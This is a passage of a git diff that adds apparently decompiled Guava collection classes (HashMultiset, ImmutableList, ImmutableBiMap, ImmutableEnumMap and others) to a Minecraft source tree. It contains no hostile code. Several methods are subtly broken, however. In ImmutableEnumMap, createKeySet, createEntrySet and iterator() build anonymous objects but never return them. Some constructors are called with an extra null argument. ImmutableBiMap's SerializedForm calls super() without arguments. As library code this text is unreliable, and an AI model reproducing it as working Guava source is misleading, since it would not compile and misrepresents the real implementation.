+    Preconditions.checkArgument(expectedValuesPerKey >= 0);
+    this.expectedValuesPerKey = expectedValuesPerKey;
+  }
+  
+  private HashMultimap(Multimap<? extends K, ? extends V> multimap) {
+    super(Maps.newHashMapWithExpectedSize(multimap.keySet().size()));
+    
+    putAll(multimap);
+  }
+  
+
+
+
+
+
+
+  Set<V> createCollection()
+  {
+    return Sets.newHashSetWithExpectedSize(expectedValuesPerKey);
+  }
+  
+
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeInt(expectedValuesPerKey);
+    Serialization.writeMultimap(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    expectedValuesPerKey = stream.readInt();
+    int distinctKeys = Serialization.readCount(stream);
+    Map<K, Collection<V>> map = Maps.newHashMapWithExpectedSize(distinctKeys);
+    setMap(map);
+    Serialization.populateMultimap(this, stream, distinctKeys);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/HashMultiset.java b/src/minecraft/com/google/common/collect/HashMultiset.java
new file mode 100644
index 0000000..051276a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/HashMultiset.java
@@ -0,0 +1,98 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.HashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public final class HashMultiset<E>
+  extends AbstractMapBasedMultiset<E>
+{
+  @GwtIncompatible("Not needed in emulated source.")
+  private static final long serialVersionUID = 0L;
+  
+  public static <E> HashMultiset<E> create()
+  {
+    return new HashMultiset();
+  }
+  
+
+
+
+
+
+
+  public static <E> HashMultiset<E> create(int distinctElements)
+  {
+    return new HashMultiset(distinctElements);
+  }
+  
+
+
+
+
+
+
+
+  public static <E> HashMultiset<E> create(Iterable<? extends E> elements)
+  {
+    HashMultiset<E> multiset = create(Multisets.inferDistinctElements(elements));
+    
+    Iterables.addAll(multiset, elements);
+    return multiset;
+  }
+  
+  private HashMultiset() {
+    super(new HashMap());
+  }
+  
+  private HashMultiset(int distinctElements) {
+    super(Maps.newHashMapWithExpectedSize(distinctElements));
+  }
+  
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    Serialization.writeMultiset(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    int distinctElements = Serialization.readCount(stream);
+    setBackingMap(Maps.newHashMapWithExpectedSize(distinctElements));
+    
+    Serialization.populateMultiset(this, stream, distinctElements);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Hashing.java b/src/minecraft/com/google/common/collect/Hashing.java
new file mode 100644
index 0000000..6dc869d
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Hashing.java
@@ -0,0 +1,72 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class Hashing
+{
+  private static final int C1 = -862048943;
+  private static final int C2 = 461845907;
+  
+  private Hashing() {}
+  
+  static int smear(int hashCode)
+  {
+    return 461845907 * Integer.rotateLeft(hashCode * -862048943, 15);
+  }
+  
+  static int smearedHash(@Nullable Object o) {
+    return smear(o == null ? 0 : o.hashCode());
+  }
+  
+  private static int MAX_TABLE_SIZE = 1073741824;
+  
+
+  static int closedTableSize(int expectedEntries, double loadFactor)
+  {
+    expectedEntries = Math.max(expectedEntries, 2);
+    int tableSize = Integer.highestOneBit(expectedEntries);
+    
+    if (expectedEntries > (int)(loadFactor * tableSize)) {
+      tableSize <<= 1;
+      return tableSize > 0 ? tableSize : MAX_TABLE_SIZE;
+    }
+    return tableSize;
+  }
+  
+  static boolean needsResizing(int size, int tableSize, double loadFactor) {
+    return (size > loadFactor * tableSize) && (tableSize < MAX_TABLE_SIZE);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableAsList.java b/src/minecraft/com/google/common/collect/ImmutableAsList.java
new file mode 100644
index 0000000..66e24f4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableAsList.java
@@ -0,0 +1,84 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.InvalidObjectException;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+abstract class ImmutableAsList<E>
+  extends ImmutableList<E>
+{
+  ImmutableAsList() {}
+  
+  abstract ImmutableCollection<E> delegateCollection();
+  
+  public boolean contains(Object target)
+  {
+    return delegateCollection().contains(target);
+  }
+  
+  public int size()
+  {
+    return delegateCollection().size();
+  }
+  
+  public boolean isEmpty()
+  {
+    return delegateCollection().isEmpty();
+  }
+  
+  boolean isPartialView()
+  {
+    return delegateCollection().isPartialView();
+  }
+  
+  @GwtIncompatible("serialization")
+  static class SerializedForm implements Serializable
+  {
+    final ImmutableCollection<?> collection;
+    private static final long serialVersionUID = 0L;
+    
+    SerializedForm(ImmutableCollection<?> collection) {
+      this.collection = collection;
+    }
+    
+    Object readResolve() { return collection.asList(); }
+  }
+  
+
+  @GwtIncompatible("serialization")
+  private void readObject(ObjectInputStream stream)
+    throws InvalidObjectException
+  {
+    throw new InvalidObjectException("Use SerializedForm");
+  }
+  
+  @GwtIncompatible("serialization")
+  Object writeReplace() {
+    return new SerializedForm(delegateCollection());
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableBiMap.java b/src/minecraft/com/google/common/collect/ImmutableBiMap.java
new file mode 100644
index 0000000..6b73129
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableBiMap.java
@@ -0,0 +1,270 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public abstract class ImmutableBiMap<K, V>
+  extends ImmutableMap<K, V>
+  implements BiMap<K, V>
+{
+  public static <K, V> ImmutableBiMap<K, V> of()
+  {
+    return EmptyImmutableBiMap.INSTANCE;
+  }
+  
+
+
+  public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1)
+  {
+    return new SingletonImmutableBiMap(k1, v1);
+  }
+  
+
+
+
+
+  public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1, K k2, V v2)
+  {
+    return new RegularImmutableBiMap(new ImmutableMapEntry.TerminalEntry[] { entryOf(k1, v1), entryOf(k2, v2) });
+  }
+  
+
+
+
+
+
+  public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3)
+  {
+    return new RegularImmutableBiMap(new ImmutableMapEntry.TerminalEntry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3) });
+  }
+  
+
+
+
+
+
+  public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4)
+  {
+    return new RegularImmutableBiMap(new ImmutableMapEntry.TerminalEntry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4) });
+  }
+  
+
+
+
+
+
+
+  public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5)
+  {
+    return new RegularImmutableBiMap(new ImmutableMapEntry.TerminalEntry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5) });
+  }
+  
+
+
+
+
+
+
+  public static <K, V> Builder<K, V> builder()
+  {
+    return new Builder();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final class Builder<K, V>
+    extends ImmutableMap.Builder<K, V>
+  {
+    public Builder() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder<K, V> put(K key, V value)
+    {
+      super.put(key, value);
+      return this;
+    }
+    
+
+
+
+
+
+
+    public Builder<K, V> putAll(Map<? extends K, ? extends V> map)
+    {
+      super.putAll(map);
+      return this;
+    }
+    
+
+
+
+
+    public ImmutableBiMap<K, V> build()
+    {
+      switch (size) {
+      case 0: 
+        return ImmutableBiMap.of();
+      case 1: 
+        return ImmutableBiMap.of(entries[0].getKey(), entries[0].getValue());
+      }
+      return new RegularImmutableBiMap(size, entries);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableBiMap<K, V> copyOf(Map<? extends K, ? extends V> map)
+  {
+    if ((map instanceof ImmutableBiMap))
+    {
+      ImmutableBiMap<K, V> bimap = (ImmutableBiMap)map;
+      
+
+      if (!bimap.isPartialView()) {
+        return bimap;
+      }
+    }
+    Map.Entry<?, ?>[] entries = (Map.Entry[])map.entrySet().toArray(EMPTY_ENTRY_ARRAY);
+    switch (entries.length) {
+    case 0: 
+      return of();
+    
+    case 1: 
+      Map.Entry<K, V> entry = entries[0];
+      return of(entry.getKey(), entry.getValue());
+    }
+    return new RegularImmutableBiMap(entries);
+  }
+  
+
+  private static final Map.Entry<?, ?>[] EMPTY_ENTRY_ARRAY = new Map.Entry[0];
+  
+
+
+
+
+  ImmutableBiMap() {}
+  
+
+
+
+  public abstract ImmutableBiMap<V, K> inverse();
+  
+
+
+
+  public ImmutableSet<V> values()
+  {
+    return inverse().keySet();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public V forcePut(K key, V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+  private static class SerializedForm
+    extends ImmutableMap.SerializedForm
+  {
+    private static final long serialVersionUID = 0L;
+    
+
+
+
+    SerializedForm(ImmutableBiMap<?, ?> bimap) { super(); }
+    
+    Object readResolve() {
+      ImmutableBiMap.Builder<Object, Object> builder = new ImmutableBiMap.Builder();
+      return createMap(builder);
+    }
+  }
+  
+  Object writeReplace()
+  {
+    return new SerializedForm(this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableClassToInstanceMap.java b/src/minecraft/com/google/common/collect/ImmutableClassToInstanceMap.java
new file mode 100644
index 0000000..2026f73
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableClassToInstanceMap.java
@@ -0,0 +1,164 @@
+package com.google.common.collect;
+
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Primitives;
+import java.io.Serializable;
+import java.util.Map;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ImmutableClassToInstanceMap<B>
+  extends ForwardingMap<Class<? extends B>, B>
+  implements ClassToInstanceMap<B>, Serializable
+{
+  private final ImmutableMap<Class<? extends B>, B> delegate;
+  
+  public static <B> Builder<B> builder()
+  {
+    return new Builder();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final class Builder<B>
+  {
+    private final ImmutableMap.Builder<Class<? extends B>, B> mapBuilder = ImmutableMap.builder();
+    
+
+    public Builder() {}
+    
+
+    public <T extends B> Builder<B> put(Class<T> key, T value)
+    {
+      mapBuilder.put(key, value);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+    public <T extends B> Builder<B> putAll(Map<? extends Class<? extends T>, ? extends T> map)
+    {
+      for (Map.Entry<? extends Class<? extends T>, ? extends T> entry : map.entrySet()) {
+        Class<? extends T> type = (Class)entry.getKey();
+        T value = entry.getValue();
+        mapBuilder.put(type, cast(type, value));
+      }
+      return this;
+    }
+    
+    private static <B, T extends B> T cast(Class<T> type, B value) {
+      return Primitives.wrap(type).cast(value);
+    }
+    
+
+
+
+
+
+    public ImmutableClassToInstanceMap<B> build()
+    {
+      return new ImmutableClassToInstanceMap(mapBuilder.build(), null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <B, S extends B> ImmutableClassToInstanceMap<B> copyOf(Map<? extends Class<? extends S>, ? extends S> map)
+  {
+    if ((map instanceof ImmutableClassToInstanceMap))
+    {
+
+      ImmutableClassToInstanceMap<B> cast = (ImmutableClassToInstanceMap)map;
+      return cast;
+    }
+    return new Builder().putAll(map).build();
+  }
+  
+
+
+  private ImmutableClassToInstanceMap(ImmutableMap<Class<? extends B>, B> delegate)
+  {
+    this.delegate = delegate;
+  }
+  
+  protected Map<Class<? extends B>, B> delegate() {
+    return delegate;
+  }
+  
+
+  @Nullable
+  public <T extends B> T getInstance(Class<T> type)
+  {
+    return delegate.get(Preconditions.checkNotNull(type));
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public <T extends B> T putInstance(Class<T> type, T value)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableCollection.java b/src/minecraft/com/google/common/collect/ImmutableCollection.java
new file mode 100644
index 0000000..bbe975a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableCollection.java
@@ -0,0 +1,364 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractCollection;
+import java.util.Collection;
+import java.util.Iterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public abstract class ImmutableCollection<E>
+  extends AbstractCollection<E>
+  implements Serializable
+{
+  private transient ImmutableList<E> asList;
+  
+  ImmutableCollection() {}
+  
+  public abstract UnmodifiableIterator<E> iterator();
+  
+  public final Object[] toArray()
+  {
+    int size = size();
+    if (size == 0) {
+      return ObjectArrays.EMPTY_ARRAY;
+    }
+    Object[] result = new Object[size()];
+    copyIntoArray(result, 0);
+    return result;
+  }
+  
+  public final <T> T[] toArray(T[] other)
+  {
+    Preconditions.checkNotNull(other);
+    int size = size();
+    if (other.length < size) {
+      other = ObjectArrays.newArray(other, size);
+    } else if (other.length > size) {
+      other[size] = null;
+    }
+    copyIntoArray(other, 0);
+    return other;
+  }
+  
+  public boolean contains(@Nullable Object object)
+  {
+    return (object != null) && (super.contains(object));
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final boolean add(E e)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final boolean remove(Object object)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final boolean addAll(Collection<? extends E> newElements)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final boolean removeAll(Collection<?> oldElements)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final boolean retainAll(Collection<?> elementsToKeep)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final void clear()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public ImmutableList<E> asList()
+  {
+    ImmutableList<E> list = asList;
+    return list == null ? (this.asList = createAsList()) : list;
+  }
+  
+  ImmutableList<E> createAsList() {
+    switch (size()) {
+    case 0: 
+      return ImmutableList.of();
+    case 1: 
+      return ImmutableList.of(iterator().next());
+    }
+    return new RegularImmutableAsList(this, toArray());
+  }
+  
+
+
+
+
+
+  abstract boolean isPartialView();
+  
+
+
+
+
+
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    for (E e : this) {
+      dst[(offset++)] = e;
+    }
+    return offset;
+  }
+  
+  Object writeReplace()
+  {
+    return new ImmutableList.SerializedForm(toArray());
+  }
+  
+
+
+  public static abstract class Builder<E>
+  {
+    static final int DEFAULT_INITIAL_CAPACITY = 4;
+    
+
+    static int expandedCapacity(int oldCapacity, int minCapacity)
+    {
+      if (minCapacity < 0) {
+        throw new AssertionError("cannot store more than MAX_VALUE elements");
+      }
+      
+      int newCapacity = oldCapacity + (oldCapacity >> 1) + 1;
+      if (newCapacity < minCapacity) {
+        newCapacity = Integer.highestOneBit(minCapacity - 1) << 1;
+      }
+      if (newCapacity < 0) {
+        newCapacity = Integer.MAX_VALUE;
+      }
+      
+      return newCapacity;
+    }
+    
+
+
+
+
+
+
+
+
+    Builder() {}
+    
+
+
+
+
+
+
+
+    public abstract Builder<E> add(E paramE);
+    
+
+
+
+
+
+
+
+    public Builder<E> add(E... elements)
+    {
+      for (E element : elements) {
+        add(element);
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterable<? extends E> elements)
+    {
+      for (E element : elements) {
+        add(element);
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterator<? extends E> elements)
+    {
+      while (elements.hasNext()) {
+        add(elements.next());
+      }
+      return this;
+    }
+    
+
+    public abstract ImmutableCollection<E> build();
+  }
+  
+
+  static abstract class ArrayBasedBuilder<E>
+    extends ImmutableCollection.Builder<E>
+  {
+    Object[] contents;
+    
+    int size;
+    
+
+    ArrayBasedBuilder(int initialCapacity)
+    {
+      CollectPreconditions.checkNonnegative(initialCapacity, "initialCapacity");
+      contents = new Object[initialCapacity];
+      size = 0;
+    }
+    
+
+
+
+    private void ensureCapacity(int minCapacity)
+    {
+      if (contents.length < minCapacity) {
+        contents = ObjectArrays.arraysCopyOf(contents, expandedCapacity(contents.length, minCapacity));
+      }
+    }
+    
+
+    public ArrayBasedBuilder<E> add(E element)
+    {
+      Preconditions.checkNotNull(element);
+      ensureCapacity(size + 1);
+      contents[(size++)] = element;
+      return this;
+    }
+    
+    public ImmutableCollection.Builder<E> add(E... elements)
+    {
+      ObjectArrays.checkElementsNotNull(elements);
+      ensureCapacity(size + elements.length);
+      System.arraycopy(elements, 0, contents, size, elements.length);
+      size += elements.length;
+      return this;
+    }
+    
+    public ImmutableCollection.Builder<E> addAll(Iterable<? extends E> elements)
+    {
+      if ((elements instanceof Collection)) {
+        Collection<?> collection = (Collection)elements;
+        ensureCapacity(size + collection.size());
+      }
+      super.addAll(elements);
+      return this;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableEntry.java b/src/minecraft/com/google/common/collect/ImmutableEntry.java
new file mode 100644
index 0000000..57b6eec
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableEntry.java
@@ -0,0 +1,50 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+class ImmutableEntry<K, V>
+  extends AbstractMapEntry<K, V>
+  implements Serializable
+{
+  final K key;
+  final V value;
+  private static final long serialVersionUID = 0L;
+  
+  ImmutableEntry(@Nullable K key, @Nullable V value)
+  {
+    this.key = key;
+    this.value = value;
+  }
+  
+  @Nullable
+  public final K getKey() { return key; }
+  
+  @Nullable
+  public final V getValue() {
+    return value;
+  }
+  
+  public final V setValue(V value) {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableEnumMap.java b/src/minecraft/com/google/common/collect/ImmutableEnumMap.java
new file mode 100644
index 0000000..b9c7beb
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableEnumMap.java
@@ -0,0 +1,149 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.EnumMap;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class ImmutableEnumMap<K extends Enum<K>, V>
+  extends ImmutableMap<K, V>
+{
+  private final transient EnumMap<K, V> delegate;
+  
+  static <K extends Enum<K>, V> ImmutableMap<K, V> asImmutable(EnumMap<K, V> map)
+  {
+    switch (map.size()) {
+    case 0: 
+      return ImmutableMap.of();
+    case 1: 
+      Map.Entry<K, V> entry = (Map.Entry)Iterables.getOnlyElement(map.entrySet());
+      return ImmutableMap.of(entry.getKey(), entry.getValue());
+    }
+    
+    return new ImmutableEnumMap(map);
+  }
+  
+
+
+  private ImmutableEnumMap(EnumMap<K, V> delegate)
+  {
+    this.delegate = delegate;
+    Preconditions.checkArgument(!delegate.isEmpty());
+  }
+  
+  ImmutableSet<K> createKeySet()
+  {
+    new ImmutableSet()
+    {
+      public boolean contains(Object object)
+      {
+        return delegate.containsKey(object);
+      }
+      
+      public int size()
+      {
+        return ImmutableEnumMap.this.size();
+      }
+      
+      public UnmodifiableIterator<K> iterator()
+      {
+        return Iterators.unmodifiableIterator(delegate.keySet().iterator());
+      }
+      
+      boolean isPartialView()
+      {
+        return true;
+      }
+    };
+  }
+  
+  public int size()
+  {
+    return delegate.size();
+  }
+  
+  public boolean containsKey(@Nullable Object key)
+  {
+    return delegate.containsKey(key);
+  }
+  
+  public V get(Object key)
+  {
+    return delegate.get(key);
+  }
+  
+  ImmutableSet<Map.Entry<K, V>> createEntrySet()
+  {
+    new ImmutableMapEntrySet()
+    {
+      ImmutableMap<K, V> map()
+      {
+        return ImmutableEnumMap.this;
+      }
+      
+      public UnmodifiableIterator<Map.Entry<K, V>> iterator()
+      {
+        new UnmodifiableIterator() {
+          private final Iterator<Map.Entry<K, V>> backingIterator = delegate.entrySet().iterator();
+          
+          public boolean hasNext()
+          {
+            return backingIterator.hasNext();
+          }
+          
+          public Map.Entry<K, V> next()
+          {
+            Map.Entry<K, V> entry = (Map.Entry)backingIterator.next();
+            return Maps.immutableEntry(entry.getKey(), entry.getValue());
+          }
+        };
+      }
+    };
+  }
+  
+  boolean isPartialView()
+  {
+    return false;
+  }
+  
+  Object writeReplace()
+  {
+    return new EnumSerializedForm(delegate);
+  }
+  
+  private static class EnumSerializedForm<K extends Enum<K>, V> implements Serializable
+  {
+    final EnumMap<K, V> delegate;
+    private static final long serialVersionUID = 0L;
+    
+    EnumSerializedForm(EnumMap<K, V> delegate)
+    {
+      this.delegate = delegate;
+    }
+    
+    Object readResolve() { return new ImmutableEnumMap(delegate, null); }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableEnumSet.java b/src/minecraft/com/google/common/collect/ImmutableEnumSet.java
new file mode 100644
index 0000000..f86c0b1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableEnumSet.java
@@ -0,0 +1,118 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.EnumSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class ImmutableEnumSet<E extends Enum<E>>
+  extends ImmutableSet<E>
+{
+  private final transient EnumSet<E> delegate;
+  private transient int hashCode;
+  
+  static <E extends Enum<E>> ImmutableSet<E> asImmutable(EnumSet<E> set)
+  {
+    switch (set.size()) {
+    case 0: 
+      return ImmutableSet.of();
+    case 1: 
+      return ImmutableSet.of(Iterables.getOnlyElement(set));
+    }
+    return new ImmutableEnumSet(set);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private ImmutableEnumSet(EnumSet<E> delegate)
+  {
+    this.delegate = delegate;
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  public UnmodifiableIterator<E> iterator() {
+    return Iterators.unmodifiableIterator(delegate.iterator());
+  }
+  
+  public int size()
+  {
+    return delegate.size();
+  }
+  
+  public boolean contains(Object object) {
+    return delegate.contains(object);
+  }
+  
+  public boolean containsAll(Collection<?> collection) {
+    return delegate.containsAll(collection);
+  }
+  
+  public boolean isEmpty() {
+    return delegate.isEmpty();
+  }
+  
+  public boolean equals(Object object) {
+    return (object == this) || (delegate.equals(object));
+  }
+  
+
+  public int hashCode()
+  {
+    int result = hashCode;
+    return result == 0 ? (this.hashCode = delegate.hashCode()) : result;
+  }
+  
+  public String toString() {
+    return delegate.toString();
+  }
+  
+  Object writeReplace()
+  {
+    return new EnumSerializedForm(delegate);
+  }
+  
+  private static class EnumSerializedForm<E extends Enum<E>> implements Serializable
+  {
+    final EnumSet<E> delegate;
+    private static final long serialVersionUID = 0L;
+    
+    EnumSerializedForm(EnumSet<E> delegate)
+    {
+      this.delegate = delegate;
+    }
+    
+    Object readResolve() {
+      return new ImmutableEnumSet(delegate.clone(), null);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableList.java b/src/minecraft/com/google/common/collect/ImmutableList.java
new file mode 100644
index 0000000..e6cfd06
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableList.java
@@ -0,0 +1,703 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.InvalidObjectException;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.RandomAccess;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public abstract class ImmutableList<E>
+  extends ImmutableCollection<E>
+  implements List<E>, RandomAccess
+{
+  private static final ImmutableList<Object> EMPTY = new RegularImmutableList(ObjectArrays.EMPTY_ARRAY);
+  
+
+
+
+
+
+
+
+  public static <E> ImmutableList<E> of()
+  {
+    return EMPTY;
+  }
+  
+
+
+
+
+
+
+
+  public static <E> ImmutableList<E> of(E element)
+  {
+    return new SingletonImmutableList(element);
+  }
+  
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2)
+  {
+    return construct(new Object[] { e1, e2 });
+  }
+  
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3)
+  {
+    return construct(new Object[] { e1, e2, e3 });
+  }
+  
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4)
+  {
+    return construct(new Object[] { e1, e2, e3, e4 });
+  }
+  
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5)
+  {
+    return construct(new Object[] { e1, e2, e3, e4, e5 });
+  }
+  
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5, E e6)
+  {
+    return construct(new Object[] { e1, e2, e3, e4, e5, e6 });
+  }
+  
+
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E e7)
+  {
+    return construct(new Object[] { e1, e2, e3, e4, e5, e6, e7 });
+  }
+  
+
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E e7, E e8)
+  {
+    return construct(new Object[] { e1, e2, e3, e4, e5, e6, e7, e8 });
+  }
+  
+
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E e7, E e8, E e9)
+  {
+    return construct(new Object[] { e1, e2, e3, e4, e5, e6, e7, e8, e9 });
+  }
+  
+
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E e7, E e8, E e9, E e10)
+  {
+    return construct(new Object[] { e1, e2, e3, e4, e5, e6, e7, e8, e9, e10 });
+  }
+  
+
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E e7, E e8, E e9, E e10, E e11)
+  {
+    return construct(new Object[] { e1, e2, e3, e4, e5, e6, e7, e8, e9, e10, e11 });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E e7, E e8, E e9, E e10, E e11, E e12, E... others)
+  {
+    Object[] array = new Object[12 + others.length];
+    array[0] = e1;
+    array[1] = e2;
+    array[2] = e3;
+    array[3] = e4;
+    array[4] = e5;
+    array[5] = e6;
+    array[6] = e7;
+    array[7] = e8;
+    array[8] = e9;
+    array[9] = e10;
+    array[10] = e11;
+    array[11] = e12;
+    System.arraycopy(others, 0, array, 12, others.length);
+    return construct(array);
+  }
+  
+
+
+
+
+
+
+
+  public static <E> ImmutableList<E> copyOf(Iterable<? extends E> elements)
+  {
+    Preconditions.checkNotNull(elements);
+    return (elements instanceof Collection) ? copyOf(Collections2.cast(elements)) : copyOf(elements.iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableList<E> copyOf(Collection<? extends E> elements)
+  {
+    if ((elements instanceof ImmutableCollection))
+    {
+      ImmutableList<E> list = ((ImmutableCollection)elements).asList();
+      return list.isPartialView() ? asImmutableList(list.toArray()) : list;
+    }
+    
+
+    return construct(elements.toArray());
+  }
+  
+
+
+
+
+
